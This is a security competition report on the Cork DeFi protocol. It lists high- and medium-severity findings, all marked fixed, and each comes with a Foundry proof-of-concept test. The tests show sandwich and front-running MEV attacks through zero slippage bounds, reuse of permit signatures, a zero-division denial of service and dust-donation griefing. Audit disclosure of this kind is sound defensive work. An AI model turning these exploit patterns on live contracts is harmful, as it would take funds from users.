CANTINA

Cork protocol

Competition

March 11, 2025

Contents

1 Introduction

1.1 About Cantina

Cantina is a security services marketplace that connects top security researchers and solutions with clients. Learn more at cantina.xyz

1.2 Disclaimer

A competition provides a broad evaluation of the security posture of the code at a particular moment based on the information available at the time of the review. While competitions endeavor to identify and disclose all potential security issues, they cannot guarantee that every vulnerability will be detected or that the code will be entirely secure against all possible attacks. The assessment is conducted based on the specific commit and version of the code provided. Any subsequent modifications to the code may introduce new vulnerabilities, therefore, any changes made to the code would require an additional security review. Please be advised that competitions are not a replacement for continuous security measures such as penetration testing, vulnerability scanning, and regular code reviews.

1.3 Risk assessment

Severity	Description
Critical	*Must* fix as soon as possible (if already deployed).
High	Leads to a loss of a significant portion (>10%) of assets in the protocol, or significant harm to a majority of users.
Medium	Global losses <10% or losses to only a subset of users, but still unacceptable.
Low	Losses will be annoying but bearable. Applies to things like griefing attacks that can be easily repaired or even gas inefficiencies.
Gas Optimization	Suggestions around gas saving practices.
Informational	Suggestions around best practices or readability.

1.3.1 Severity Classification

The severity of security issues found during the security review is categorized based on the above table. Critical findings have a high likelihood of being exploited and must be addressed immediately. High findings are almost certain to occur, easy to perform, or not easy but highly incentivized thus must be fixed as soon as possible.

Medium findings are conditionally possible or incentivized but are still relatively likely to occur and should be addressed. Low findings a rare combination of circumstances to exploit, or offer little to no incentive to exploit but are recommended to be addressed.

Lastly, some findings might represent objective improvements that should be addressed but do not impact the project's overall security (Gas and Informational findings).

2 Security Review Summary

Cork is the protocol for tokenizing the risk of depeg events for stablecoins and liquid (re)staking tokens.

From Dec 18th to Jan 9th Cantina hosted a competition based on cork-protocol. The participants identified a total of **11** issues in the following risk categories:

- Critical Risk: 0
- High Risk: 4
- Medium Risk: 2
- Low Risk: 2
- Gas Optimizations: 0
- Informational: 3

Issues Remediated

Severity	Count	Fixed	Acknowledged
Critical Risk	0	0	0
High Risk	4	4	0
Medium Risk	2	2	0

The present report only outlines the **critical**, **high** and **medium** risk issues.

3 Findings

3.1 High Risk

3.1.1 Attacker can perform MEV by providing `amountOutMin = 0` for all ERC-2612 swaps

Submitted by 0xDjango

Severity: High Risk

Context: *(No context files were provided by the reviewer)*

Description: Similar to finding #6, FlashSwapRouter.sol allows users to swap RA for DS without requiring a separate approval transaction. The functions `swapRaForDS()` and `swapDsForRa()` take a rawRaPermitSig parameter that is passed to the token's permit() function.

However, any user can call these functions with a valid signature from another user, perhaps by frontrunning a transaction from another user. The attacker can provide an `amountOutMin` param of 0, causing losses for the original user by MEV.

```
function swapDsforRa(
    Id reserveId,
    uint256 dsId,
    uint256 amount,
    uint256 amountOutMin,
    address user,
    bytes memory rawDsPermitSig,
    uint256 deadline
) external returns (uint256 amountOut) {
    if (rawDsPermitSig.length == 0 || deadline == 0) {
        revert InvalidSignature();
    }
    ReserveState storage self = reserves[reserveId];
    AssetPair storage assetPair = self.ds[dsId];


    DepegSwapLibrary.permit(
        address(assetPair.ds), rawDsPermitSig, user, address(this), amount, deadline, "swapDsforRa"
    );
    assetPair.ds.transferFrom(user, address(this), amount);


    bool success;
    uint256 repaymentAmount;
    (amountOut, repaymentAmount, success) = __swapDsforRa(assetPair, reserveId, dsId, amount, amountOutMin,
    ↪  user);


    if (!success) {
        revert IMathError.InsufficientLiquidity();
    }


    self.recalculateHIYA(dsId, amountOut, amount);


    emit DsSwapped(reserveId, dsId, user, amount, amountOut);
}
```

As seen above, the function takes a `rawDsPermitSig` which is passed to the respective token's permit function (either RA or DS token). Once passed, the funds are taken from the user that provided the signature. Note: this is the same for both `swapRaForDS()` and `swapDsForRa()`. Anyone can call this function with a valid signature and provide an `amountOutMin` value of 0. This will open up the user to theft of funds through MEV.

```
function __swapDsforRa(
    AssetPair storage assetPair,
    Id reserveId,
    uint256 dsId,
    uint256 amount,
    uint256 amountOutMin,
    address caller
) internal returns (uint256 amountOut, uint256 repaymentAmount, bool success) {
    (amountOut, repaymentAmount, success) = assetPair.getAmountOutSellDS(amount, hook);


    if (!success) {
        return (amountOut, repaymentAmount, success);
    }


    if (amountOut < amountOutMin) {
        revert InsufficientOutputAmount();
    }


    __flashSwap(assetPair, 0, amount, dsId, reserveId, false, amountOut, caller, amount);
}
```

Proof of Concept: The following proof of concept illustrates how any user can initiate a swap for a user that has provided a signature, and can provide an `amountOutMin = 0` in the function params.

```
pragma solidity ^0.8.24;

import "./../../contracts/core/flash-swaps/FlashSwapRouter.sol";
import {Helper} from "./Helper.sol";
import {DummyWETH} from "./../../contracts/dummy/DummyWETH.sol";
import "./../../contracts/core/assets/Asset.sol";
import {Id, Pair, PairLibrary} from "./../../contracts/libraries/Pair.sol";
import "./../../contracts/interfaces/IPSMcore.sol";
import "./../../contracts/interfaces/IDsFlashSwapRouter.sol";
import "forge-std/console.sol";

contract FlashSwapTest is Helper {
    DummyWETH internal ra; // Use DummyERCWithMetadata instead of DummyWETH for permit
    DummyWETH internal pa;
    Id public currencyId;

    uint256 public DEFAULT_DEPOSIT_AMOUNT = 2050 ether;

    uint256 public dsId;

    address public ct;
    DummyWETH public ds;

    uint256 immutable deadline = block.timestamp + 1 hours;

    // Generate private key first
    uint256 user1Key =
        vm.deriveKey(
            "test test test test test test test test test test test junk",
            0
        );
    // Create address from the private key
    address user1 = vm.addr(user1Key);
    address user2 = makeAddr("user2");

    uint256 precision = 10 ** 18;

    function defaultInitialArp()
        internal
        pure
        virtual
        override
        returns (uint256)
    {
        return 5 ether;
    }

    function setUp() public virtual {
```

```
        vm.startPrank(DEFAULT_ADDRESS);

        deployModuleCore();

        (ra, pa, currencyId) = initializeAndIssueNewDs(
            block.timestamp + 1 days
        );
        vm.deal(DEFAULT_ADDRESS, 100_000_000_000 ether);
        ra.deposit{value: 1_000_000_000 ether}();
        pa.deposit{value: 1_000_000_000 ether}();

        ra.approve(address(moduleCore), 100_000_000_000 ether);

        moduleCore.depositPsm(currencyId, DEFAULT_DEPOSIT_AMOUNT);
        moduleCore.depositLv(currencyId, DEFAULT_DEPOSIT_AMOUNT, 0, 0);

        // save initial data
        fetchProtocolGeneralInfo();
    }

    function fetchProtocolGeneralInfo() internal {
        dsId = moduleCore.lastDsId(currencyId);
        address ct_;
        address ds_;
        (ct_, ds_) = moduleCore.swapAsset(currencyId, dsId);
        ct = ct_;
        ds = DummyWETH(payable(ds_));
    }

    function test_MEV() public virtual {
        // Add more liquidity to the router and AMM
        moduleCore.depositLv(currencyId, 10_000 ether, 0, 0);

        // Give user1 some RA tokens to test with
        vm.deal(user1, 10 ether);
        vm.startPrank(user1);
        ra.deposit{value: 10 ether}();
        vm.stopPrank();

        // Craft permit signature for user1
        uint256 nonce = ra.nonces(user1);

        bytes32 PERMIT_TYPEHASH = keccak256(
            "Permit(address owner,address spender,uint256 value,uint256 nonce,uint256 deadline)"
        );

        bytes32 domainSeparator = ra.DOMAIN_SEPARATOR();

        bytes32 structHash = keccak256(
            abi.encode(
                PERMIT_TYPEHASH,
                user1,
                address(flashSwapRouter),
                10 ether,
                nonce,
                deadline
            )
        );

        bytes32 digest = keccak256(
            abi.encodePacked("\x19\x01", domainSeparator, structHash)
        );

        (uint8 v, bytes32 r, bytes32 s) = vm.sign(user1Key, digest);
        bytes memory rawRaPermitSig = abi.encodePacked(r, s, v);


        // Execute the swap
        vm.prank(user2);
        uint256 amountOut = flashSwapRouter.swapRaforDs(
            currencyId,
            dsId,
            10 ether,
            0,
            user1,
            rawRaPermitSig,
```

```
            deadline,
            defaultBuyApproxParams()
        );


    }
}
```

Recommendation: Do not allow `amountOutMin` parameters when the swap can be initiated by any party on behalf of a user that has provided a permit signature.

Cork: Fixed in PR 280.

3.1.2 Reserve sales vulnerable to MEV due to missing slippage protection in `_sellDsReserve` function

Submitted by Sujith Somraaj

Severity: High Risk

Context: FlashSwapRouter.sol#L319

Description: The **_sellDsReserve** function in `FlashSwapRouter.sol` lacks slippage protection when selling DS (Debt Swap) tokens from reserves, exposing protocol liquidity providers to value extraction through MEV sandwich attacks. In _sellDsReserve, DS tokens are sold without minimum output amount enforcement:

```
(uint256 profitRa,, bool success) =
    __swapDsforRa(assetPair, params.reserveId, params.dsId, params.amountSellFromReserve, 0, _moduleCore);
                                                                                          ^
                                                                                  No slippage check
```

Some trades may trigger reserve sales when users swap RA (Redemption Asset) for DS (Debt Swap). Without slippage protection, MEV bots can manipulate the price before these reserve sales execute, reducing profits that should accrue to liquidity providers.

Impact:

- Reduced profits for liquidity providers due to MEV extraction.
- Protocol's reserve sales subject to sandwich attacks.
- Negative impact on protocol sustainability due to reduced LP returns.

Proof of Concept: Copy the proof of concept file into the test folder and run it using `forge test --mt test_e2e -vv`, which will log the profit for LP with/without the front-running transactions. From the tests, the following observations are made,.

- Without front-running: LP profit: 0.739498973658705030 RA.
- With front-running: LP profit: 0.472218106264900239 RA.
- Result: ~36% reduction in LP profits.

```
// SPDX-License-Identifier: BUSL-1.1
pragma solidity ^0.8.24;

import "./AuditTestHelper.sol";
import "forge-std/console.sol";
import {IDsFlashSwapCore} from "contracts/interfaces/IDsFlashSwapRouter.sol";
import {IVault} from "contracts/interfaces/IVault.sol";
import {PoolKey} from "v4-periphery/lib/v4-core/src/types/PoolKey.sol";
import {Currency} from "v4-periphery/lib/v4-core/src/types/Currency.sol";
import {CurrencySettler} from "v4-periphery/lib/v4-core/test/utils/CurrencySettler.sol";

import {IPoolManager} from "v4-periphery/lib/v4-core/src/interfaces/IPoolManager.sol";
import {IHooks} from "v4-periphery/lib/v4-core/src/interfaces/IHooks.sol";
import { BeforeSwapDelta } from "@uniswap/v4-core/src/types/BeforeSwapDelta.sol";

import "forge-std/console.sol";

 struct CallbackData {
```

```
        bool buyDs;
        address caller;
        // CT or RA amount borrowed
        uint256 borrowed;
        // DS or RA amount provided
        uint256 provided;
        // DS/RA amount attributed to user
        uint256 attributed;
        Id reserveId;
        uint256 dsId;
    }
contract MockUnlocker {
    address hook;
    address manager;
    address ra;

    constructor(address corkHook, address poolManager, address redemptionAsset) {
        hook = corkHook;
        manager = poolManager;
        ra = redemptionAsset;
    }
    function unlockCallback(bytes memory data) external returns (bytes memory) {
        (
            address sender,
            PoolKey memory key,
            IPoolManager.SwapParams memory params,
            bytes memory hookData
        ) = abi.decode(
                data,
                (address, PoolKey, IPoolManager.SwapParams, bytes)
            );

        IPoolManager(manager).swap(key, params, hookData);
        // Use delta.remainingReceivedAmount() to get exact amount needed
        // IPoolManager(manager).clear(key.currency0, uint256(BeforeSwapDelta.unwrap(delta)));
    }

     function CorkCall(
        address sender,
        bytes calldata data,
        uint256 paymentAmount,
        address paymentToken,
        address poolManager
    ) external {
        // CurrencySettler.take(Currency.wrap(ra), address(manager), address(this), 1e18, false);
    }
}

contract FlashSwapRouter is TestHelper {
    MockUnlocker public unlocker;

    function setUp() public override {
        super.setUp();

        unlocker = new MockUnlocker(address(corkHook), address(manager), address(ra));
        console.log("unlocker", address(unlocker));
    }

    function test_e2e() public {
        deal(address(ra), user, type(uint256).max);
        deal(address(pa), user, 200e18);
        deal(address(ra), address(router), 200e18);
        deal(address(ra), address(unlocker), type(uint256).max);

        // console.log("----------- WITHOUT FRONT_RUNNING -------------");
        // internal_all(false);
        console.log("----------- WITH FRONT_RUNNING -------------");
        internal_all(true);
    }

    function internal_all(bool withfrontrunning) internal {
        (address ct, address ds) = moduleCore.swapAsset(defaultCurrencyId,
        ↪  moduleCore.lastDsId(defaultCurrencyId));

        vm.startPrank(user);
        ERC20(ra).transfer(address(manager), 1e18);
```

```
        ra.approve(address(moduleCore), 200e18);
        moduleCore.depositPsm(defaultCurrencyId, 100e18);
        console.log("ct balance of user:", ERC20(ct).balanceOf(user));

        ra.approve(address(moduleCore), 200e18);
        moduleCore.depositLv(defaultCurrencyId, 10e18, 0, 0);
        console.log("ct balance of user 2:", ERC20(ct).balanceOf(user));

        ERC20 lv = ERC20(moduleCore.lvAsset(defaultCurrencyId));
        lv.approve(address(moduleCore), lv.balanceOf(user));

        // ERC20(ct).approve(address(corkHook), 2e18);

        // bytes memory hookData = abi.encode(CallbackData(false, user, 0, 0, 0, defaultCurrencyId, 1));
        // corkHook.swap(address(ra), address(ct), 1e18, 0, hookData);

        // bytes memory swapData;
        // IPoolManager.SwapParams memory ammSwapParams;
        // ammSwapParams = IPoolManager.SwapParams(false, int256(1e18), 79228162514264337593543950336);

        // PoolKey memory key = PoolKey(
        //     Currency.wrap(address(ct)), Currency.wrap(address(ra)), 0, 1, IHooks(corkHook)
        // );

        // bytes memory hookData = abi.encode(CallbackData(false, user, 0, 0, 0, defaultCurrencyId, 1));
        // swapData = abi.encode(user, key, ammSwapParams, hookData);

        // console.log("CorkHook", address(corkHook));
        // vm.startPrank(address(unlocker));
        // manager.unlock(swapData);

        // IVault.RedeemEarlyParams memory redeemParams  = IVault.RedeemEarlyParams(
        //     defaultCurrencyId,
        //     19e18,
        //     0,
        //     block.timestamp + 10 seconds
        // );
        // moduleCore.redeemEarlyLv(redeemParams);

        ra.balanceOf(address(router));
        ERC20(ct).balanceOf(address(router));
        ra.approve(address(router), 100e18);
        IDsFlashSwapCore.BuyAprroxParams memory buyParams;
        buyParams.maxApproxIter = 256;
        buyParams.epsilon = 1e9;
        buyParams.feeIntervalAdjustment = 1e16;
        buyParams.precisionBufferPercentage = 1e16;

        uint256 amountOut;
        console.log("moduleCore ds balance:", ERC20(ds).balanceOf(address(moduleCore)));
        router.swapRaforDs(defaultCurrencyId, 1, 1e18, 0, buyParams);

        if(withfrontrunning) {
            ERC20(ds).approve(address(router), ERC20(ds).balanceOf(address(user)));
            router.swapDsforRa(defaultCurrencyId, 1, 1e18, 0);
        }

        uint256 balBefore = ERC20(ds).balanceOf(user);
        amountOut += router.swapRaforDs(defaultCurrencyId, 1, 1e18, 0, buyParams);
        uint256 balAfter = ERC20(ds).balanceOf(user);

        // deal(ds, user, 100e18);
        // ERC20(ds).approve(address(router), ERC20(ds).balanceOf(user));
        // router.swapDsforRa(defaultCurrencyId, 1, 1e16, 0);
        console.log("actual user amount out:", amountOut);
        assert(balAfter - balBefore == amountOut);
    }
}
```

Recommendation: Consider adding slippage protection to reserve sales.

Cork: Fixed in PR 280.

3.1.3 Insufficient slippage protection in `redeemEarlyLv` leads to MEV through flash swaps

Submitted by Sujith Somraaj

Severity: High Risk

Context: FlashSwapRouter.sol#L350, Vault.sol#L85

Description: The redeemEarlyLv function in `VaultCore.sol` implements slippage protection only for the RA (Redemption Asset) amount received but lacks protection for other assets (CT, DS) during redemption. This allows malicious actors to manipulate the AMM pool through flash swaps to extract value from users who redeem their LV tokens early. The redeemEarlyLv function accepts a minimum output amount parameter (amountOutMin), which is only checked against the RA received from AMM:

```
if (result.raReceivedFromAmm < redeemParams.amountOutMin) {
    revert IVault.InsufficientOutputAmount(redeemParams.amountOutMin, result.raReceivedFromAmm);
}
```

However, no slippage protection exists for:

- CT (Collateral Token) received from AMM.
- DS (Depeg Swap) tokens received.
- CT received from vault.
- PA (Pegged Asset) received.

Proof of Concept: The following PoC demonstrates how this vulnerability can be exploited:

```
// SPDX-License-Identifier: BUSL-1.1
pragma solidity ^0.8.24;

import "./AuditTestHelper.sol";
import "forge-std/console.sol";
import {IVault} from "contracts/interfaces/IVault.sol";
import {IDsFlashSwapCore} from "contracts/interfaces/IDsFlashSwapRouter.sol";

import "forge-std/console.sol";

contract FlashSwapRouter is TestHelper {
    address frontrunner = address(69_420);

    function setUp() public override {
        super.setUp();
    }

    function test_e2e() public {
        deal(address(ra), user, type(uint256).max);
        deal(address(ra), frontrunner, type(uint256).max);
        deal(address(pa), user, 200e18);

        console.log("---- WITHOUT FRONT_RUNNING");
        _internal(false);

        // console.log("---- WITH FRONT_RUNNING");
        // _internal(true);
    }

    function _internal(bool withFrontrunning) internal {
        (address ct, address ds) = moduleCore.swapAsset(
            defaultCurrencyId,
            moduleCore.lastDsId(defaultCurrencyId)
        );

        vm.startPrank(user);
        ERC20(ra).transfer(address(manager), 1e18);

        ra.approve(address(moduleCore), 200e18);
        moduleCore.depositPsm(defaultCurrencyId, 100e18);

        ra.approve(address(moduleCore), 200e18);
        moduleCore.depositLv(defaultCurrencyId, 1e18, 0, 0);

        vm.startPrank(frontrunner);
        ra.approve(address(moduleCore), 200e18);
```

```
        moduleCore.depositLv(defaultCurrencyId, 200e18, 0, 0);

        IVault.RedeemEarlyParams memory redeemParams = IVault.RedeemEarlyParams(
            defaultCurrencyId,
            1e18,
            502880481053277883,
            block.timestamp + 10 seconds
        );
        ERC20 lv = ERC20(moduleCore.lvAsset(defaultCurrencyId));

        if (withFrontrunning) {
            vm.startPrank(frontrunner);
            ra.approve(address(router), 200e18);
            // lv.approve(address(moduleCore), lv.balanceOf(frontrunner));

            // redeemParams.amount = lv.balanceOf(frontrunner);
            // moduleCore.redeemEarlyLv(redeemParams);
            IDsFlashSwapCore.BuyAprroxParams memory buyParams;
            buyParams.maxApproxIter = 256;
            buyParams.epsilon = 1e9;
            buyParams.feeIntervalAdjustment = 1e16;
            buyParams.precisionBufferPercentage = 1e16;
            router.swapRaforDs(defaultCurrencyId, 1, 1e18, 0, buyParams);
        }

        vm.startPrank(user);
        lv.approve(address(moduleCore), lv.balanceOf(user));

        redeemParams.amount = lv.balanceOf(user);
        IVault.RedeemEarlyResult memory result = moduleCore.redeemEarlyLv(
            redeemParams
        );
        console.log("received");
        console.log("result.raReceivedFromAmm:", result.raReceivedFromAmm);
        console.log("result.raIdleReceived:", result.raIdleReceived);
        console.log("result.paReceived:", result.paReceived);
        console.log("result.ctReceivedFromAmm:", result.ctReceivedFromAmm);
        console.log("result.ctReceivedFromVault:", result.ctReceivedFromVault);
        console.log("result.dsReceived):", result.dsReceived);
    }
}
```

```
Without frontrunning:
result.raReceivedFromAmm: 549427188799996954
result.ctReceivedFromAmm: 549976615988796950
result.dsReceived: 549976615988797005

With frontrunning: (Attacker manipulating the RA / CT AMM pool)

result.raReceivedFromAmm: 502880481053277883
result.ctReceivedFromAmm: 600882549325828178
result.dsReceived: 549976615988797005
```

This shows that while the RA amount meets the minimum threshold, an attacker can manipulate the pool to unfavorably alter the CT/DS ratio for the user, effectively extracting value from the redemption.

Recommendation:

1. Implement comprehensive slippage protection by adding minimum output parameters for all assets:

```
struct RedeemEarlyParams {
    Id id;
    uint256 amount;
    uint256 raAmountOutMin;
    uint256 ctAmountOutMin;  // Add minimum CT output
    uint256 dsAmountOutMin;  // Add minimum DS output
    uint256 paAmountOutMin;  // Add minimum PA output
    uint256 ammDeadline;
}
```

2. Add validation checks in the `redeemEarly` function:

```
function redeemEarly(/*...*/) {
    // Existing checks
    if (result.raReceivedFromAmm < redeemParams.raAmountOutMin) {
        revert InsufficientOutputAmount("RA", redeemParams.raAmountOutMin, result.raReceivedFromAmm);
    }

    // Add new checks
    if (result.ctReceivedFromAmm + result.ctReceivedFromVault < redeemParams.ctAmountOutMin) {
        revert InsufficientOutputAmount("CT", redeemParams.ctAmountOutMin, result.ctReceivedFromAmm +
        ↪  result.ctReceivedFromVault);
    }

    if (result.dsReceived < redeemParams.dsAmountOutMin) {
        revert InsufficientOutputAmount("DS", redeemParams.dsAmountOutMin, result.dsReceived);
    }

    if (result.paReceived < redeemParams.paAmountOutMin) {
        revert InsufficientOutputAmount("PA", redeemParams.paAmountOutMin, result.paReceived);
    }
}
```

Alternatively, the issue can be blocked at the CorkHook level by blocking swaps during an ongoing exit of LP, through the `beforeSwap` hook.

Cork: Fixed in PR 280.

3.1.4 Profit distribution from reserve sales during `swapRaforDs` is susceptible to MEV attacks

Submitted by Sujith Somraaj

Severity: High Risk

Context: FlashSwapRouter.sol#L340

Description: The `swapRaforDs` function of `FlashSwapRouter.sol` allows users to swap their RA (Redemption Asset) for Debt Swap (DS) tokens. During this swap, if there is enough resources in the module core, they are utilized and a the Redemption Asset (RA) profit from such trades are added as liquidity to the RA-CT pool through the `provideLiquidityWithFlashSwapFee` function.

```
swapRaforDs
> _swapRaforDs
    > _sellDsReserve
        > provideLiquidityWithFlashSwapFee
            > provideLiquidityWithFee
                > __provideLiquidityWithRatio
                    > __provideLiquidityWithRatioGetDust (0 tolerance and block.timestamp as deadline)
```

The liquidity provision using the `__provideLiquidityWithRatioGetDust` is called with `0` tolerance and also deadline is `block.timestamp`. This allows sandwich attacks where bots can perform front-run transactions to manipulate prices, force the liquidity provision to execute at unfavorable rates, and back-run to capture profit.

Proof of Concept: From the following test, it can be noted that front-running the transaction by another action in the liquidity pool reduces LP tokens by 0.23 from 0.25 (~20%), which can also be more serve under certain conditions.

```
contract FlashSwapRouter is TestHelper {
    function setUp() public override {
        super.setUp();
    }

    function test_e22e() public {
        deal(address(ra), user, type(uint256).max);
        deal(address(pa), user, 200e18);
        deal(address(ra), address(router), 200e18);
        deal(address(ra), address(unlocker), type(uint256).max);

        console.log("----------- WITHOUT FRONT_RUNNING -------------");
        internal_all(false);
        // console.log("----------- WITH FRONT_RUNNING -------------");
        // internal_all(true);
    }
```

```
    function internal_all(bool withfrontrunning) internal {
        (address ct, address ds) = moduleCore.swapAsset(defaultCurrencyId,
        ↪  moduleCore.lastDsId(defaultCurrencyId));

        vm.startPrank(user);
        ERC20(ra).transfer(address(manager), 1e18);

        ra.approve(address(moduleCore), 200e18);
        moduleCore.depositPsm(defaultCurrencyId, 100e18);
        console.log("ct balance of user:", ERC20(ct).balanceOf(user));

        ra.approve(address(moduleCore), 200e18);
        moduleCore.depositLv(defaultCurrencyId, 10e18, 0, 0);
        console.log("ct balance of user 2:", ERC20(ct).balanceOf(user));

        ERC20 lv = ERC20(moduleCore.lvAsset(defaultCurrencyId));
        lv.approve(address(moduleCore), lv.balanceOf(user));

        ra.balanceOf(address(router));
        ERC20(ct).balanceOf(address(router));
        ra.approve(address(router), 100e18);
        IDsFlashSwapCore.BuyAprroxParams memory buyParams;
        buyParams.maxApproxIter = 256;
        buyParams.epsilon = 1e9;
        buyParams.feeIntervalAdjustment = 1e16;
        buyParams.precisionBufferPercentage = 1e16;

        uint256 amountOut;
        console.log("moduleCore ds balance:", ERC20(ds).balanceOf(address(moduleCore)));
        router.swapRaforDs(defaultCurrencyId, 1, 1e18, 0, buyParams);

        if(withfrontrunning) {
            ERC20(ds).approve(address(router), ERC20(ds).balanceOf(address(user)));
            router.swapDsforRa(defaultCurrencyId, 1, 1e18, 0);
        }

        uint256 balBefore = ERC20(ds).balanceOf(user);
        amountOut += router.swapRaforDs(defaultCurrencyId, 1, 1e18, 0, buyParams);
        uint256 balAfter = ERC20(ds).balanceOf(user);

        console.log("actual user amount out:", amountOut);
        assert(balAfter - balBefore == amountOut);
    }
}
```

Recommendation: Consider adding slippage protection to the `provideLiquidityWithFlashSwapFee` function.

Cork: Fixed in PR 280.

3.2 Medium Risk

3.2.1 Division by zero in `_swapRaForDsViaRollover()` when both reserves are empty

Submitted by Sujith Somraaj

Severity: Medium Risk

Context: FlashSwapRouter.sol#L200

Description: Under optimal conditions, the `_swapRaForDsViaRollover()` function should return with the `amountRa` if it cannot process the swap via a rollover. Instead, the function will revert down the stack in the `calculateRolloverSale` function when `lvReserve` and `psmReserve` are zero.

```
/// will return that can't be filled from the reserve; this happens when the total reserve is less than the
↪  amount requested
```

This leads to unintended behavior because the swaps are supposed to succeed even if the rollover cannot be executed.

Impact: When there is no possibility of rollover, the users should be able to swap RA -> DS through the AMM. However, due to this issue, there is an entire temporary DoSing of the swapping functionality.

Proof of Concept: The following proof of concept demonstrates a condition where the psm and lv reserves are zero and the entire function call panics with `panic: division or modulo by zero (0x12)` error.

```
// SPDX-License-Identifier: BUSL-1.1
pragma solidity ^0.8.24;

import {TestHelper, ERC20} from "./AuditTestHelper.sol";
import "forge-std/console.sol";
import {IDsFlashSwapCore} from "contracts/interfaces/IDsFlashSwapRouter.sol";
import { IVault } from "contracts/interfaces/IVault.sol";

contract FlashSwapRouter is TestHelper {
    function setUp() public override {
       super.setUp();
    }

    function test_e2e() public {
        deal(address(ra), user, 100e18);
        deal(address(pa), user, 100e18);

        vm.startPrank(user);
        ra.approve(address(moduleCore), 100e18);
        // moduleCore.depositPsm(defaultCurrencyId, 1e18);
        moduleCore.depositLv(defaultCurrencyId, 19e18, 0, 0);

        (address ct, address ds) = moduleCore.swapAsset(defaultCurrencyId,
        ↪  moduleCore.lastDsId(defaultCurrencyId));
        ERC20(ds).approve(address(router), 1e18);

        ra.approve(address(router), 100e18);

        IDsFlashSwapCore.BuyAprroxParams memory buyParams;
        buyParams.maxApproxIter = 256;
        buyParams.epsilon = 1e9;
        buyParams.feeIntervalAdjustment = 1e16;
        buyParams.precisionBufferPercentage = 1e16;
        router.swapRaforDs(defaultCurrencyId, 1, 1e18, 0.9e18, buyParams);
        router.swapRaforDs(defaultCurrencyId, 1, 1e18, 0.9e18, buyParams);

        vm.startPrank(config);
        vm.warp(block.timestamp + 100 days);
        corkConfig.issueNewDs(defaultCurrencyId, DEFAULT_EXCHANGE_RATES, DEFAULT_REPURCHASE_FEE,
        ↪  DEFAULT_DECAY_DISCOUNT_RATE, DEFAULT_ROLLOVER_PERIOD, block.timestamp + 10 seconds);

        vm.startPrank(user);
        ERC20(moduleCore.lvAsset(defaultCurrencyId)).approve(address(moduleCore), 19e18);

        IVault.RedeemEarlyParams memory redeemParams  = IVault.RedeemEarlyParams(
            defaultCurrencyId,
            19e18,
            0,
            block.timestamp + 10 seconds
        );
        moduleCore.redeemEarlyLv(redeemParams);

        router.swapRaforDs(defaultCurrencyId, 2, 1e18, 0.9e18, buyParams);
        router.swapRaforDs(defaultCurrencyId, 2, 1e18, 0.9e18, buyParams);

        // /// @dev redeem with CT + DS = RA
        // (address ct, address ds) = moduleCore.swapAsset(defaultCurrencyId,
        ↪  moduleCore.lastDsId(defaultCurrencyId));

        // ERC20(ct).approve(address(moduleCore), 1e18);
        // ERC20(ds).approve(address(moduleCore), 1e18);
        // pa.approve(address(moduleCore), 1e18);
        // moduleCore.redeemRaWithDs(defaultCurrencyId, moduleCore.lastDsId(defaultCurrencyId), 1e18);

        // console.log(pa.balanceOf(user) / 1 ether);
        // console.log(ra.balanceOf(user));
        // console.log(ERC20(ds).balanceOf(user));
        // moduleCore.redeemRaWithCtDs(defaultCurrencyId, 1e18);
    }
}
```

Recommendation: Add a zero reserve check at the start of `_swapRaForDsViaRollover()` function:

```
function _swapRaForDsViaRollover(Id reserveId, uint256 dsId, uint256 amountRa)
    internal
    returns (uint256 raLeft, uint256 dsReceived)
{
    if (dsId == DsFlashSwaplibrary.FIRST_ISSUANCE || !reserves[reserveId].rolloverSale()
        || reserves[reserveId].hiya == 0) {
        return (amountRa, 0);
    }

    ReserveState storage self = reserves[reserveId];
    AssetPair storage assetPair = self.ds[dsId];

    // Add zero reserve check
    if (assetPair.lvReserve == 0 && assetPair.psmReserve == 0) {
        return (amountRa, 0);
    }
    // ...
}
```

Cork: Fixed in PR 274.

3.2.2 Malicious actors can cause a DoS of `mint` by frontrunning with 1 wei donation

Submitted by Sujith Somraaj

Severity: Medium Risk

Context: HedgeUnit.sol#L260

Description: The `HedgeUnit.sol` contract calculates minting ratios based on current reserves, which are purely calculated during minting. This allows attackers to manipulate these ratios by contributing minimal amounts (dust) of tokens to the contract.

Attack Scenario:

- Alice submits a transaction to mint HedgeUnit tokens with significant amounts of DS and PA tokens.
- Bob (attacker) sees this pending transaction.
- Bob front runs Alice's transaction by sending one wei of PA / DS tokens to the contract.
- The reserve ratio is manipulated due to this dust amount.

Alice's transaction either:

- Reverts due to incorrect allowance.
- Requires significantly more tokens than expected by Alice.

The issue is classified as a `MEDIUM` severity vulnerability, as the impact is grieving (preventing a targeted user from purchasing HU), while there is no direct loss of funds. At the same time, it has a `HIGH` likelihood as the attack cost is extremely low in the range of 1 WEI.

Proof of Concept:

```
function test_e2e() public {
    deal(address(ra), user, type(uint256).max);
    deal(address(ra), frontrunner, type(uint256).max);
    deal(address(pa), user, 100e18);
    deal(address(pa), frontrunner, 1000e18);

    vm.startPrank(user);
    ERC20(ra).transfer(address(manager), 1e18);

    ra.approve(address(moduleCore), 20000e18);
    moduleCore.depositPsm(defaultCurrencyId, 20000e18);

    ra.approve(address(moduleCore), 20000e18);
    moduleCore.depositLv(defaultCurrencyId, 2000e18, 0, 0);

    (address ct, address ds) = moduleCore.swapAsset(
        defaultCurrencyId,
        moduleCore.lastDsId(defaultCurrencyId)
    );
```

```
    deal(ds, user, 100e18);
    deal(ds, frontrunner, 1000e18);

    vm.startPrank(config);
    corkConfig.deployHedgeUnit(
        defaultCurrencyId,
        address(pa),
        address(ra),
        "pair-name",
        100000e18
    );

    address hu = hedgeUnit.getHedgeUnitAddress(defaultCurrencyId);

    vm.startPrank(user);
    ERC20(ds).approve(hu, 100e18);
    pa.approve(hu, 100e18);
    (uint256 dsAmount, uint256 paAmount) = HedgeUnit(hu).mint(1e18);

    vm.startPrank(frontrunner);
    pa.transfer(hu, 1);

    vm.startPrank(user);
    (dsAmount, paAmount) = HedgeUnit(hu).mint(99e18);
}
```

Recommendation: Consider fixing the issue by accurately tracking reserves, instead of calculating the contract balance on fly.

Cork: Fixed in PR 280.